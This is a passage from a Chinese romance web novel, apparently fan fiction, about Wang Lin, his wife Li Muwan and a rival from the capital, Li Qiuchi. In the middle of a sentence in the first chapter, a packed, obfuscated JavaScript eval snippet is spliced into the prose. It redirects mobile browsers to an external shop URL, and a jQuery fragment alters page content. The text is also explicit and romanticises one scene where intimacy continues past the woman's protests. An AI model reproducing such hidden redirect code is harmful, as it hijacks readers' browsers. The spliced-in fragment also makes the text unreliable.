“婉儿之事,我无需从他人口中得知。”王林搁了笔,起身立在门外,朝铺子唤人,“许立国。” 许立国闻声探出头,撑着窗子殷勤道:“主子何事?” “送客。”王林冷漠吐出两字。 里头的李秋池身形微僵,不知他为何对自己如此淡漠,即便是旁人,也该有些礼数,为何如此抗拒,“王林,我无他意,不论如何也算相识一场,你对故人便是这般礼数?” 王林背影漠然不动,许立国做请,“李小姐请,我家主子不喜生人入他的屋子,想当初我许立国可没少吃这亏,请吧。” 李秋池也没动,而是打量了一番案台,案台整洁,放了几本书,笔帘上挂了两支笔,一方砚台,很是简洁,而最为显眼的就是那一排木雕小像。 她走近些,那木雕刻得栩栩如生,惟妙惟俏,一眼就能看出是李慕婉。 “这木雕是你所刻?”李秋池若有似无道。 王林闻言转身略带警惕,那木雕小像摆在那,连许立国都没敢看过,他眸光一凛,将那些小像挡了严实,“许立国,愣着做什么?” “李小姐快走吧。”许立国催促。 李秋池无奈只能不情愿离去,许立国道:“那木雕小像是主子的心头宝,碰不得看不得,屋里的陈设大部分都是主母置的。” “窗台下已枯的海棠,屋内提神香,案台的笔,主子身上挂的香囊,穿的衣裳,系的发带,样样都是我家主母的心意,旁人碰不得。” 二人走了没多久,王林坐回案台,细细抚着小像,窗外又一声动静,扰破了他的宁静。 “不见。”王林声音森冷,一副拒人于千里之外的沉重。 温婉的声音传入,略有委屈:“阿兄为何不见婉儿?” 王林微怔,旋即起身去迎,李慕婉立在台阶下,朝他粲然一笑,适才的不快被驱散。 “阿兄。”李慕婉一身素衣,墨发挽着支莲花簪,挎了两个包袱。 “婉儿。”王林目光炽热,眉心舒展,领着人入内,掩上了门,“你怎知我在想你?” “是吗?”李慕婉放了包袱,“阿兄适才还说不见我呢?” “我以为是……”他顿了顿又改口,“以为是许立国。” “方才见着他与一人说话,”李慕婉脑子有着画面,“那身影瞧着熟悉。” 可她没再往下想,她所想那人应是不会到这来。 王林知她心思缜密,可转念一想,只觉这事没必要与她说,又怕引起她在京城那段不好的回忆,此事自己也能处理好,故而决定隐下了。 眉心闪过的一丝愁容却被李慕婉捕捉,两人在宅子住了一夜,那宅子也只有李慕婉来县里时,王林才会去住。 那池子养的莲开得好,月光下相拥的人影倒影在湖面上,波光嶙峋,两道身影交缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042971|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沉闷声音断断续续融在夜色里。 翌日王林去了书院讲学,李慕婉回到书铺偏屋,收拾王林的屋子时,柜台上的书册里夹了只金镶珍珠耳坠,那耳坠样式和做工,她一瞧便看得出是京城样式。 这不是她的首饰,许立国在书铺捧着话本看得出神,李慕婉去寻他时唤了好几句他才应。 “阿兄屋里可有生人来过?”李慕婉审视的意味。 许立国心虚若无其事挺了挺背脊,“没,没有啊。” “我阿兄为人我自是清楚,你不必瞒着我。”李慕婉坦言,“我能如此问你,便是已有盘算,你若隐瞒,我问阿兄也是一样的。” “这……”许立国挠了挠头,“有倒是有,那人说是主子故人,京城来的。” 李慕婉从容,并未急着问。 “好似也识得主母,可主子不待见她,没说过几句话便要赶客,还是小许子给人请走的。” “那人可还有再来?”李慕婉轻声道。 许立国低头没敢答,李慕婉便已知晓定是再来过的,“你忙你的去吧。” 随即她转身在书铺看起王林写的话本,久久陷入沉思,只是一阵动静唤醒原本沉浸在遐想的人。 掌柜热情相迎,“李姑娘来了,里边的房间给您备着了。” 李慕婉闻声探头望去,而那人视线透过众书客,两人目光交汇,李慕婉先是怔愣须臾,李秋池泛着耐人寻味的笑,直直朝她走过去。李慕婉不怯,端庄大气,一副温婉清冷的气质,让人不禁留下目光。 纵使心有疑虑,她仍是一副淡然,欠身行礼,浅笑道,“李秋池,许久不见。” 李秋池颔首道:“阔别数年,别来无恙,李慕婉。” “三年前你离开京城,听闻半路遭遇劫匪,音讯全无,紫虹为此伤心不已,京城不少公子也曾探过你的音信,相传你们兄妹已死在天麓山山匪刀下,不曾想居然在这偏僻小城安居乐业了。” 二人入了雅房,李慕婉不疾不徐道:“天麓山经此一难,逢我夫君相救,幸得一命,便在此处安定了。” “至于李小姐所言,京城旧友,寻觅音信,婉儿一概不知。”李慕婉慢条斯理说。 “你如今容光焕发,倒是让我快要忘了李家入狱时,你的窘迫。”李秋池话峰转变,看着热心却是带着刺,“曾经医药世家之女,被迫在乡野为妇,实乃憾事。其实倘若你点头,京城那些公子们定然愿意出手相助,你也不必吃这等苦的。” “此处与京城相比确实偏僻了些,可民风淳朴,物产丰饶,踏踏实实为生,过着朴素日子,比在京城逍遥自在,我并不觉得是苦。不若你又为何千里迢迢来此?”李慕婉眼神轻飘,昔日世家大族的气势压过,李秋池竟然有些露怯。 “你不必如此防备我,”李秋池故作淡然,“我来长乐县只是闲游。” “你认得王林。”李慕婉直言不讳,“倒是听闻当初阿兄高中,尚书大人想要我阿兄与你结姻,为此他得中探花后也不得回乡,久滞京城。” “婉儿还以为李大小姐此番前来是为着这事。” 李秋池笑容僵硬,嘴角不由抽搐两下,雅房内的氛围微妙。 李秋池嘲讽道,“你可知多少人寒窗苦读才能获得殿试机会,王林得我父亲青睐,以父亲人脉和提携,他往后仕途平步青云,前程似锦,封侯拜相都不在话下,可他却因你而要放弃大好前程,我只是替他惋惜。” “你只看见你父亲的表面荣光,尚书大人权势滔天,提携阿兄自是不在话下。”李慕婉慢悠悠转着茶盏,“可你不清楚我阿兄为人,官场上的尔虞我诈,阿谀奉承他做不来,也不屑去做,以他才能若他有心,无需尚书提携,也能升官加爵。” “他既然选择了弃仕途而回乡,婉儿便知,于他而言,这有比功名利禄更为重要的人。”李慕婉说,“或许你永远也不会明白。” 李慕婉缓缓拿出那支金镶珍珠耳坠,轻放到案几上,“这耳坠里的香料倒是名贵,恐怕也只有宫里才有。我阿兄自持守己,并非宵小之徒,不会轻言所惑,有些心思若用错了路途,损的是自己颜面。” “开春的长乐县景致不错,若你还在此处待多几日,婉儿乐意作陪游玩。”李慕婉提裙起身,“这耳坠与你倒是相称的。” 李秋池指尖捏得泛红,脸颊被炉子烤得涨热,羞愤极了。 待李慕婉出了书铺,她恼羞成怒,攥着的茶盏抖个不停,狠狠道:“冠冕堂皇之言,一副自是清高作态,从京城便是如此。” 许立国见状连忙跟上李慕婉,“主母是要去哪?” 李慕婉没回偏屋,而是去了书院等王林下工。 47.知错 学子三三两两结伴成群,时不时朝书院门外的李慕婉投去目光,人言籍籍。 “这就是王先生的夫人,长得好生漂亮。” “听闻王先生与夫人伉俪情深,书案放的都是师母的小像。” “……” 声音不大,隐约传到李慕婉耳中,她落落大方地颔首,那些学子倏然含羞,脸红到耳根,忙加快步子,心跳得不停。 “你怎得如此没有出息,好歹是师母。” “师母长得也忒好看了些,王先生是在哪娶的仙人?” “你们小声些,王先生护短,尤其是师母。” “……” 李慕婉目视远去的学子们,心头往事回首,像极了从前自己在百松书院上学,下课后与同窗结伴闲谈归家一般。 那柔和的眉目透出一丝伤感,身前的光影遮了大半,耳侧的声音温柔,“婉儿,想什么呢如此出神?” “阿兄。”李慕婉抱过他手臂,“咱们回吧。” 落日斜过书院前的百年柳树,微风荡起二人发带,王林牵着她的手,穿在人流里,手里捧着几本书,时不时望着身侧的李慕婉,目露情愫。 二人先回的书铺偏屋,晚饭时,王林与她谈着近况,李慕婉也同样说着王家村的事。 “爹娘都挺好,不过你有月余没回来,他们都念着你呢,院里的海棠高出房顶了,阿兄还不知道吧。” “过些日子忙完书院的事,我便回去。”王林细细听着。 “阿兄,可是有见过什么人?”李慕婉思虑半日终是问出口。 王林面色如常,“未曾。” 李慕婉眸光微沉,又探道:“屋内除了提神香,好似有股别的香味。” “应是许立国进来拿话稿时带的吧,”王林给她夹了块肉,“婉儿,吃饭吧。” 用完饭后李慕婉心略显失落,“我明日便回王家村了。” “不是答应多待几日?”王林点灯的动作微顿,“是有急事吗?” “葛阳许浩被哥哥派去了燕州送药,药铺里缺人手,我回去帮帮忙。”李慕婉道。 “好。” “阿兄可有何事瞒着我?” “我怎会有事瞒着婉儿呢?” 见王林有心要藏,李慕婉也不再刨根问底,可心里像被一根刺扎了一般。 夜深后,李慕婉独自上了榻,王林脱下靴子跟着就寝,想要把人揽到怀里,可李慕婉却始终侧身背对着自己,不知不觉间,听见了她平稳的气息,王林才安心睡下。 翌日天光微亮,李慕婉不告而别回了王家村,只留下一张字条。王林虽有疑虑,思忖后只当她是因着药铺的事故而心事重重。 只是之后寄回去的几封家书,一直都未收到李慕婉的回信,即便收的家书也只有王天水和周英素的关切,并无她的任何信息。 王林坐在书案下,手里提着笔却没动,出神望着那小像。 许立国端了茶水进来,还是第一回见他如此失神,免不了问道:“主子。” 可王林没有反应,许立国又唤了一句,王林回笼神后若无其事落笔,却心不在焉的重复写着两个字。 婉儿,婉儿…… “主子可是想主母了?”许立国低声细探,“这几日李秋池频频到书铺,我瞧她意不在此啊。” “许立国,”王林说,“婉儿来的那日,可是见过李秋池?” “确有此事,”许立国拖着下巴回想,“就主母来的那日,二人在书铺雅间叙了许久,从李秋池言谈中似乎与主母还是旧识呢。” “不过她们出来时,主母倒是神色如常,反而李秋池一副吃瘪的神情,看不出来主母一副柔弱温婉的模样,训起人来却是丝毫不怯。” “训人?”王林拧着眉心,暗想她性子那么柔和的人怎么会训人,定是许立国夸大其词了。 “主子,那李秋池什么目的,小的也看出些来,妾有情,郎无意,她嘴上说并非痴缠于您,那又为何要流连至此,每日见着您才愿离去。”许立国说,“主母她何等聪慧,这女子对外敌的灵敏堪比山野上的狐狼,只言片语中便能勘破对方的心思。” “那李秋池既然不识相,您就让她死心呗,不然主母此后恐怕都不会来了。”许立国眼角乜斜着他,他这些也是从话本里看来的,说得直白却不是全无道理。 那落在纸上的墨汁沾染了一片,星眸渐渐泛起一层歉意,难怪那日她不告而别,是因为李秋池么? “明日我回王家村一趟。”掌心捏起那张写乱的纸,成了一团。 “掌柜的那要催话稿子了,主子您?” “以后你每七日来一趟王家村,我自会把话稿给你。”王林很快下定主意。 “主子不回来了?” 近日没有安排书院的讲学,原是要在书铺把剩下的一卷写完再回王家村的,可他如今觉着不能再耽搁下去,他要见人,他想见人。 夕暮前,王林去了一趟书院,回来时天色已暗,街角檐下一处,李秋池缓缓朝他走近,王林余光打量着却未正视,绕过她时李秋池唤道:“王林。” 王林没有停步子,李慕婉转身望着背影,“王林,你当真视我如洪水猛兽?即便是块冰山,也该化了。” “你当真甘愿在这偏僻小城里当一辈子先生,籍籍无名,颓然一生吗?”李秋池追上他挡下去路,“跟我回京城吧,我会请求父亲给你谋个官职的。” 那清冷君子发出一声轻嗤,夜风寒凉,却比不上他透出的冷意。 “王林,你是大才之人,何必拘泥于小城写这不入流的话本,以你笔墨谋苍生,唇舌抵金戈,难道不比守着一个李慕婉好吗?”李秋池言辞恳切。 王林只觉她可笑,“是大义还是私情,你没有我清楚。” “我有妻子,”王林声音厚重,隔着疏离,“我此生只爱李慕婉一人。” “守着她,守着重要之人,便是我余生所愿,我早说了,你我并非同道中人,也谈不上交情,你何必因自己一缕执念耿耿于怀,不愿放过自己呢?” “其实你想要的人不是我,而是你的不愿,你不愿婉儿事事比过于你,她自是天底下最好的女子。”王林自始至终都不曾看她一眼,李秋池于他而言不过是过客,比皆路人不为过,他实在无法理解她这一副自是视情深不堪许的作态到底从何而来。 “王林,你此话未免太过绝情。”李秋池眼眶湿润,气音凝重。 “我于你无情,自是无需留情。”王林提步就走,再无多言,矗立寒风的人失魂着久久不能回神。 是日,日光暖照,王林简单收了几件笔墨和衣裳就赶回了王家村,村口道边的油菜花开得好,他采了几株。李慕婉从东厢房捧着竹筛出来,擦着额汗,里边铺满药草,炉火还在烧着。 王林入院后寻视了一周,东厢房冒出青烟,李慕婉立在阶梯上定了一眼,把那眼里的惊色藏了去。 “婉儿。”王林漾开抹笑。 李慕婉不露声色地移开视线,从廊下走过,“回来了。” 她的淡漠涌入王林眼眸,竟然是生分。 “我来吧。”见她要爬梯上屋顶,便接过李慕婉手里的竹筛,把药草放到屋檐上晾晒。 李慕婉松了手,悠悠转身,进屋给王林倒了盏茶。 “婉儿,这些日子都在忙什么?”王林目光炽热。 “就是炼丹。”李慕婉仍是淡淡的,也未抬眼瞧他。 之后便跻身在药房里半晌未出,王林心里有话要说,又不愿扰她正事,拖到晚饭,两人也没怎么说过话。 席间王林给二老夹菜后也给李慕婉夹了一块,李慕婉未作声,只是低头吃饭。 两人气氛明显不对劲,往日王林回来,李慕婉的欣喜露于表面,总是黏着他。 今日却少言寡语,也不曾见她笑。王天水和周英素相视一眼,周英素关切问道:“婉儿,可是娘今天做的菜不合胃口?” 李慕婉侧眸应着:“没有,娘做的很好吃,是婉儿胃口不佳,您和爹多吃一些。” “这几日都见你整日在药房里,铁柱回来了,让他陪你去镇上走走,散散心。”王天水也关心道。 王林一直看着她,李慕婉察觉到身侧的视线打量着自己,却偏偏又扭过头,王林只能看见她侧颜,露出的睫羽闪动着。 他又朝她碗里夹了块酱牛肉,温声道:“婉儿多吃一些。” 用完饭周英素没让她帮手,李慕婉便入了屋里收拾,她拉着王林问:“铁柱啊,你跟婉儿是怎么了?” 王天水也在一旁听着,叮嘱道:“婉儿是个好媳妇,你可别欺负了人家。” “爹娘放心,儿子不会委屈了她的,若我哪没做好,孩儿反思,这事您二老别操心,我能处理的。”王林安抚后自己出了堂屋。 烛火摇过窗台,西厢房半开着窗子,李慕婉收拾书案,又铺好床铺,往东厢房药房抱了春褥,王林负手立在堂屋前,唤住她,“婉儿,怎得把被褥抱去了药房?” 李慕婉没理会他,莫名的生疏叫人难受,王林也体会到了这股冷漠。 竹林起了风,她又回西厢房点好提神香,似乎这些已经是她与王林之间不可或缺的日常,只要他在,提神香就会备着。 闪过的一缕贪念,促使着他留人,西厢房内,李慕婉轻飘飘道:“灯油添好了,你若要看书,点灯就是。” “你去哪?”王林拉住她衣角,“婉儿?” “药房炼了丹,今夜得要掌控火势,我去药房睡。”李慕婉轻轻抽了袖子,没走出两步便被王林长臂捞回,抵着她。 他气息温热,从身后环住了人,不让她走,双手放在腰腹上,鼻尖抵着她肩窝,轻声细语道:“婉儿?可是生我气了。” “是我不好,没与你坦白李秋池之事,”王林双手收紧些,“我与她清清白白,绝无私情的。” 李慕婉原本动了动发觉挣不开,轻叹了一口气。 “你要如何才肯信我?”王林眸子沉下,难见的颓然。 “王林,”她少有的唤他名字,“在你心里我便是如此心胸狭窄是吗?”< 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“我们是夫妻,自当坦言相待,有什么事,咱们可以一块面对,我对你无藏私,你理应如此,不仅是李秋池一事,你可明白?” “我知晓了,”王林握紧她指尖抚在唇瓣,郑重其事说,“婉儿,是我不好,是我的错,我知错了,原谅我可好?” “你不回我的家书,我心里念着你,想见你。” “嗯,知道了。”李慕婉见他黯然神伤,心有不忍,话说开了,也不与他置气,她性子出奇的好。 烛火映在立体的五官上,王林明眸动情,手心抚着她薄背,发丝的皂角香随着晚风入鼻,比那依兰香还要催情。 寒梅缠上夜色,星辉点缀,王林抚起她如画的面容,似珠玉宠溺。 李慕婉要守炉火,王林夜里陪在一侧,宽背倚在矮榻上,李慕婉枕着他臂弯,手里翻着话本。 “阿兄,你写的蓝梦道尊逼婚青木,李云霜十年涂血,以情挟恩图报,可青木却从未松动,执意不娶,只因对亡妻情深义重?” “嗯,”王林替她翻了页,“青木一生,唯一执念便是清影,那是他的道心,若接受了李云霜,他的道心便不在了,以他性格,并非优柔寡断之人。 “即便蓝梦道尊父女指责他冷血无情,忘恩负义,青木也不会因恩情而接受李云霜,那不是爱。青木不爱她,自然不会接受她。他此一生,可负天下人,唯不负清影。” “婉儿,我亦是如此。”王林动情又正肃,誓言比金坚。 烟气弥漫,风声刮过竹林,飒飒作响,李慕婉仰头轻触他唇,点一下便溜走了,勾得王林情起,跟着她移开的动作起身,压了过去,李慕婉挑眉欲拒还迎,往他靠了靠,偏就不叫他碰到。 王林扯唇笑了笑,让着她的得意,李慕婉还要再试,王林岿然不动,她便越发得寸进尺,又只是轻轻碰了下他唇就移开距离,轻飘飘的吻让人心痒难耐。 他深眸里的情欲逐渐浓厚,蓦然间抬手捏住她下颚往前带,压根没给她反应的时间。 含住了! 温热滚着湿滑,气息是颤的,是沉的。 李慕婉闷得喘不过气,欲离,王林手心扣住她,指尖嵌入发丝,发簪脱落,墨发散下铺过细腰,落在他覆上腰窝的手背,王林轻转,攥着发丝,压着腰身,贴近了自己腰腹。 力量带了占有的意味,李慕婉沉沉吸了一口,却让他更是沉醉,忽的手臂用力,抱紧了抬这她腰身坐上腹部,一道坚固擦过,背脊僵住了,王林不如她意,往下扣,沉闷命令道:“别动。” 李慕婉被含得口齿不清,“王林……” “热,”腰间的手往上移,滑过肩头,外衫轻扯滑落到手臂,露出粉肩,“婉儿替我解了吧。” 他抓过李慕婉的手臂扣在自己腰封上,带着她手解开腰封,细指沿着结实线条游上,袍子上的云纹刺绣触感分明,抚过肩骨,是滚烫的气息覆盖而来。 “窗还支着呢。”李慕婉视线盯着支摘窗,半枝海棠垂在窗前,风摆时摇晃在空中,王林半撑了身,抬臂利落下压,吱的一声窗落了,海棠被压得下沉,似一阵枝叉折断的猛烈。 炉火火势渐旺,炭火红艳,一阵热烈过后是温度慢下的熄灭,身上出了厚汗擦着彼此,粘腻却又 灼热。 她鬓间碎发浸着汗,王林用额间蹭着她汗,还有晶莹的余泪未干,他唇吻过泪滴,汗水与泪水杂在一块,咸涩分明,好似闻着一股海棠花香,回味着那味道,恋在李慕婉的脖颈里缠绕。 “婉儿,我们生个孩子吧。” “嗯?”李慕婉抵在他颈侧,王林的发带松了,散落的长发遮住她身前的春光,一抹白在夜间透着亮。 “婉儿不想?”他眸里的情绪还未散尽,透着迷离。 “你把我的木雕小像都带回来了,不打算再回县里了吗?”李慕婉捋过他发,揪了一缕与自己的缠在一块。 “婉儿心细如发,总能想我所想。”王林说,“不回了。” 长夜漫漫风不止,一树梨花压海棠。 48.云霞 是日,李慕婉在药房的矮榻醒来,身上挂着亵衣,王林挑水入院,木桶的水倒入水缸里,李慕婉穿戴整齐,被褥里摸出发簪,随手挽了个发髻,素雅又温婉。 窗缝透进细风,床铺和矮榻上的凌乱未收,王林怕吵醒了人,出门时挂了件外袍就出去了。药炉子的火早已熄灭,肩颈处的咬痕略有痛感,指尖抚过后提了提衣领往上遮掩。 随着门推开,王林声音带入:“婉儿醒了。” “你去哪了?”李慕婉收拾床铺,“怎得没叫醒我。” “挑水去了,”王林俯身接过她手里的被褥,“露雾重,你别去惹了寒气。” 他俯身时,李慕婉目光落在他脖颈处,几道抓痕隐约可见,昨夜她受了力,只能泄在他身上,奈何她唤得越厉害,王林劲儿也就越大。 湿漉流入被褥里,谁也没退。 “那你昏暮时去挑水唤我吧。”李慕婉说。 王林记下后将那些换下的衣裳拿到院中,李慕婉回了西厢房,王林随后跟进去。 见她在妆台下照着铜镜,掌心抚过她发髻沿着耳廓慢慢滑到下颚,李慕婉描眉的手微顿,“怎么了?” 王林没应,只是迷离的双眼裹了浓浓爱意,手腕稍作用力,轻轻正过她脸,俯身吻住了她唇,含着允着,似在回味昨夜的激烈。 李慕婉要躲,王林另一只手擒过她手腕,手中石黛脱落回妆台,她抽回手想推开人,王林强硬没让着她,手掌越发用力了。 扣住的手腕贴着妆台,她另一支手也要动,却被他腰身挡着,舌尖抵开皓齿,李慕婉寻机喘息,又被他趁机探入,湿滑混在一处。 “王林……”她闷声喊着。 “婉儿……”扣着手腕的手收回覆在腰后,一把抱起人扔向了床榻,平铺的被褥陷下,李慕婉撑手要起身,王林旋即胸膛下压,就人禁锢在身下,她只能仰着头。 “婉儿要去哪?”他打量猎物一般盯着她。 “你,”李慕婉只觉他眼眸一副望眼欲穿的情绪,竟然有些后怕,“王林,别闹了。” “没闹,”王林埋首绕在颈侧,贪婪地嗅着身上的气息,“要与婉儿生个孩子,自当得努力些。” 她看不见脸,却仿若能感觉到他说这话时挑起的笑意。 “不差这时。”李慕婉试图能得到缓神的机会,锁骨处的温热渐渐下滑。 “王林……”李慕婉浑身无力,闷声轻颤。 王林面颊蹭着她,声势浩大中床榻作响,李慕婉摁着他背,求饶道:“等……等一会……” 晚了。 “慢一些……” 王林仿若一头穷凶极恶的猛兽,吞/噬她,掠/夺她。可即便欲念再大,他总还是顾着她感受,慢了下来。 “婉儿不喜欢这般?”热气贴耳。 李慕婉原本就发热的小脸更红,扯了褥角盖了半张脸。 “别盖,我要看你。”王林毫不留情扯开了。 “阿兄,你怎得变了?”李慕婉正过脸抚着他面颊,深眸里的占有夺眶而出,这样的他很是少见,比平日情浓时的他更要野/性。 竟然让她生出一丝陌生。 “如何变了?”王林声音很哑,是不是适才吓着她了? “你往日不这般的。”李慕婉指尖抚过他鼻峰,像是在安抚一头失性的野兽,“即便情到深处,也不会这般失控……” 王林幅度停下,将贴着床榻的身躯捞起。 李慕婉坐在他身上,腰被托举着,那腰身纤细,他大掌覆上去如掌中细物。 下颚抵着她颈侧,发丝零散落在他面颊,王林轻笑一声,“那定是我太想婉儿了,若婉儿不喜欢,我便不这样,可好?” 她倒不是不喜,只是还未适从,又怕藏着心事,故而才有所疑虑。 李慕婉双臂撑着他肩头,又一次失衡,身子被整个抱起,挂在立在榻前的王林身上。 屏风残影一阵一阵浮动,发丝一下下起伏里胡乱飘着,发簪又不知掉落到何处,王林的发带也松了。 李慕婉顺手扯开,柔顺的墨发铺下,贴着后背的细汗。 她重量很轻,以至于托着时毫无压力,李慕婉双臂挂累了,腰身也陷入麻木。 暖流滑入,厮磨后的热感萦绕屋内,窗缝细风钻入,驱着热意。 粘腻附着周身,王林面容忘情,又把人放回了榻,李慕婉枕着他臂弯,细细密密点缀着。 李慕婉替他温柔擦过额间细汗,“可心足了?” 王林唇角轻挑,一副意犹未尽之态,“不够,不过婉儿受不住了。” “先记着,再让你还。” 李慕婉腰一紧,怕了,“饶了我吧。” 温存许久,快到日中,王天水和周英素都外出了。王林起身捡了衣裳自顾穿上,又给李慕婉穿好。 李慕婉替他束发,昨夜弄脏的被褥还泡在木盆里,王林洗好后李慕婉的药材也晾晒好了。 “婉儿,过来。”檐下的李慕婉涉阶而下,心照不宣接过被褥一头,挂上晾绳。 被褥挂着水滴,王林又拧干了些,忽而眼神闪过一丝邪魅,叫了声:“婉儿。” “嗯?”李慕婉立在身旁。 “被褥上绣的是什么?”王林凑近被褥,指尖摸过一处。 李慕婉闻声过去看,王林捏着被角时手臂骤然猛抬,日光闪过水汽,珠光粼粼。 水汽震在她面颊上,她受惊下意识缩肩闭眼,王林使坏得意着把人搂近,晾衣绳下的被褥盖住了二人,上半身藏了进去。 李慕婉缓缓睁开眼,里边红光微弱,王林正对着自己坏笑,她便知晓他又在逗自己。小脸皱成一团有怨气,长睫上还挂着水珠。 “你怎的孩子心气。”李慕婉撑起被褥欲离,王林不让,躲在被褥下覆上唇轻咬一口。 王林不作声,就只是瞧着她笑。 午后的惬意围绕在小院里,微风徐过,晾衣绳上的被褥轻摆,王林把屋里的书拿来晾晒,李慕婉跟着搭手,存放的白纸有些潮了,她一并捧了出来。 周英素和王天水从村里回来,见二人忙着也未打扰,日光晒着竹林,空气中萦绕着海棠花味。 王林弯腰捡起地上的书,瞅着她在那望着白纸发呆,“婉儿这是怎么了?” “今日得空,”李慕婉抬眸笑靥如花,“我给爹娘还有阿兄画幅画吧。” 王林歪头俯视着她,“婉儿还会作画?” “那是自然。”李慕婉微提下巴,很是骄傲,“我的画还是哥哥教的呢。” 她巡视一周,选定作画的位置,去堂屋唤了父母,王林依着她,替她摆了作画工具,又磨好墨。 白梅枝下,周英素和王天水坐在竹椅上,王林站在二人身后,挺拔的身形压下些阴影。 李慕婉观察片刻,开始落笔,日光西下后,小院成荫,她那小脸蹭了些墨汁,袖子也没逃过一劫,她拉伸着腰身,审视着画作。 王林从她表情看,许是很满意的。 二老坐了半晌,腰累了也没舍得说,怕影响儿媳作画。 “画成了。”李慕婉抬眼望去,三人目光直直盯着自己。 “爹娘,阿兄,你们来看。” 王林扶起二人,李慕婉手里还捏着画笔。白纸上一颗白梅,左右斜斜几枝竹子压下,梅树下慈祥的两位老人靠着竹椅,清秀的少年立在二人身后,一手扶着王天水肩头,身侧空了位置。 王林指着空白处,“这儿,留给婉儿的,可对?” “阿兄懂我。”李慕婉漾起笑。 “婉儿画得真好。”周英素说,“往后你二人有了娃,咱们再画一副。” 李慕婉双颊晕起红,藏了藏羞涩,王林见状搂过她应道:“好,孩儿跟婉儿定会努力的。” “是不是?”他还特意问了李慕婉一句。 李慕婉含羞慢悠悠应着:“听娘的。” 王天水温和说:“只要你二人夫妻同心,爹娘就开心。” “爹娘累了吧,先回堂屋歇息吧,”李慕婉望了望王林,示意他,“婉儿等画干透了再收拾一下。” 王林送了两人进屋后又折返回来,从袖口拿了一方帕子,手指抵着她下巴,“别动。” 李慕婉僵住须臾,眨巴眨巴眼睛,帕子在面颊上摩挲了记下,“跟个小脏猫似的,得擦干净些。” “阿兄是嫌弃婉儿?”李慕婉委屈道。 “不嫌弃,那不擦了。”王林说着收了帕子,随即轻碰她面颊,墨汁蹭了他唇峰,李慕婉看见他唇边的污渍。 赶忙抬袖替他擦了擦,奈何袖口也沾了墨汁,王林脸上也蹭了些,李慕婉呆滞,一副闯祸的模样带着心虚,眼神飘忽不定,支支吾吾说:“嗯……那个,阿兄站了半日累了,要不洗把脸醒醒神吧。” 他心知她打了何种盘算,他就是冲那脸上的墨迹去的,不在意会不会弄脏了自个儿。 王林去水缸捧了把水洗脸,水面倒映着一张俊逸的轮廓,微起的涟漪扯起,他深眸涌入李慕婉身影。 王林直起身子,眉骨带着水滴,睫羽还湿着,水珠滚在面颊处,墨汁不好洗,李慕婉只能拿了帕子,踮起脚尖替他细细擦着。 脚尖站得不是很稳,王林扶住她腰身给她支撑,目光落在她面容上,瞧得出神。 “村外桃林花开了,婉儿,我带你去看吧。”王林气息呼着她。 李慕婉拉开些距离,抬眼看了他,“好。” “何时去?” “天还早,等我把院里的书收了咱们就去。” “那我给阿兄帮忙。” 她心情好了,便一口一个阿兄唤他,昨天到今日床榻上她都唤的王林,他也都由着她。 日落前,桃林上空几只白鹤飞过,桃花开得盛,一条宽河横跨整个桃林,河两岸建着一道木栈桥,王林牵着李慕婉并行。 夕阳余晖打在发间,他侧脸格外好看,高挺的鼻梁显得越是立体 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她只觉身后手臂略紧了紧,李慕婉心思有所飘远,仰头望着他下颚线,“阿兄,婉儿看了你的话本,青木体内留下一丝粉雾让其第一次迷失了神智,柳云的意境远远超出了他,以他修为无法抵挡,必然会被意境迷惑沉浸在媚术里。 “他在最后一刻宁愿自损修为奋力一抗,险些身死道消也没让自己陷入其中。” 王林听着她所言,淡淡道:“怎么?婉儿觉着他这般有何不妥?” “倒没有不妥,只是觉着他当机立断,破釜沉舟的果敢,倒是让人动容。”李慕婉望着水面涟漪悠悠然。 “青木若不如此,便会受柳云意境蛊惑,他心有一人,又怎会愿意与他人有肌肤之亲。是以,宁愿修为跌落,哪怕身死道消,也不会接受除了清影以外的任何女子。 “因为那是他一生修行的道心,若道心崩塌,他也不再是他青木,李云霜如此,柳云亦如此。”霞光万丈,竟有些刺目,王林抬手挡了挡,没过须臾又移开了。 李慕婉仰头看他,若有所思问,“若是阿兄,也会如此吗?” “嗯?”王林低头对上她那纯真的目光。 “倘若……”李慕婉心里思量着事,又觉不该问。 “倘若什么?” “倘若是你,你会如何?”李慕婉睁着眼睛。 王林轻笑,“若他人算计我在先,我会毫不犹豫杀了她!” “那,”李慕婉又问,“若阿兄能力不及,杀不了呢?” 瞧她势必盘根问底的模样,王林眸子透出坚定,“借势么?也要杀。” 见李慕婉目光收回,怕是吓着她了,不想继续这个话题,便扯开她的思绪。握起李慕婉的手,朝远处桃林指去。 “云霞满了。” 李慕婉灵机闪过,抬起腿要脱下鞋袜,王林目视她动作,疑惑道:“婉儿这是做甚?” 李慕婉含笑,只把脱下的鞋袜放到一旁,白皙的脚丫浸入水面,拍打起水珠。 水珠溅湿裙摆,王林连忙给她提了提,宠溺道:“春水寒凉,你这样会受冷的。” “不凉,阿兄也一块吧。”李慕婉说着就要替他脱下靴子,王林没办法只能由着她。 春水映着桃花,粉色与金色相融,水珠晶莹剔透。她笑靥如花,宛若那水间桃花。 王林心中一热,顺势后仰,躺在木桥上,单臂枕着脑后,李慕婉见状倾身而下,王林臂弯锢着她,身量压着前膛,余晖打在彼此身上,状若盖上的一层薄被。 水面上的脚仍是轻拍着,凉凉的,一支桃花落下,王林接住了,举在半空打量许久,忽而他翻身压下,李慕婉枕在他臂上。 “怎么了?” 王林举起那支桃花,轻轻插上发髻,“这颜色衬你。” 就在云霞漫天间,四目相对良久,李慕婉轻抚着他的眉骨,顺着鼻梁下滑,落在唇上。 云层披上红艳,云卷又舒,李慕婉有些困了,眼皮在打架,微眯着。 夕阳下沉后风更凉了,王林抱起李慕婉双腿放到自己长褂上,擦净了水渍。他掌心大,握着她纤瘦的脚腕,又替她系好里袜,穿上绣花鞋。 “天要暗了,入夜会凉,婉儿,咱们回吧。”王林说着自己又穿上靴。 “好。”两人身影在粉色桃林下渐渐远去。 坐过的栈桥位置铺上花瓣,李慕婉走着走着绕到他后头,起身跳跃搂住他脖颈。王林双臂护着,给人稳住了。 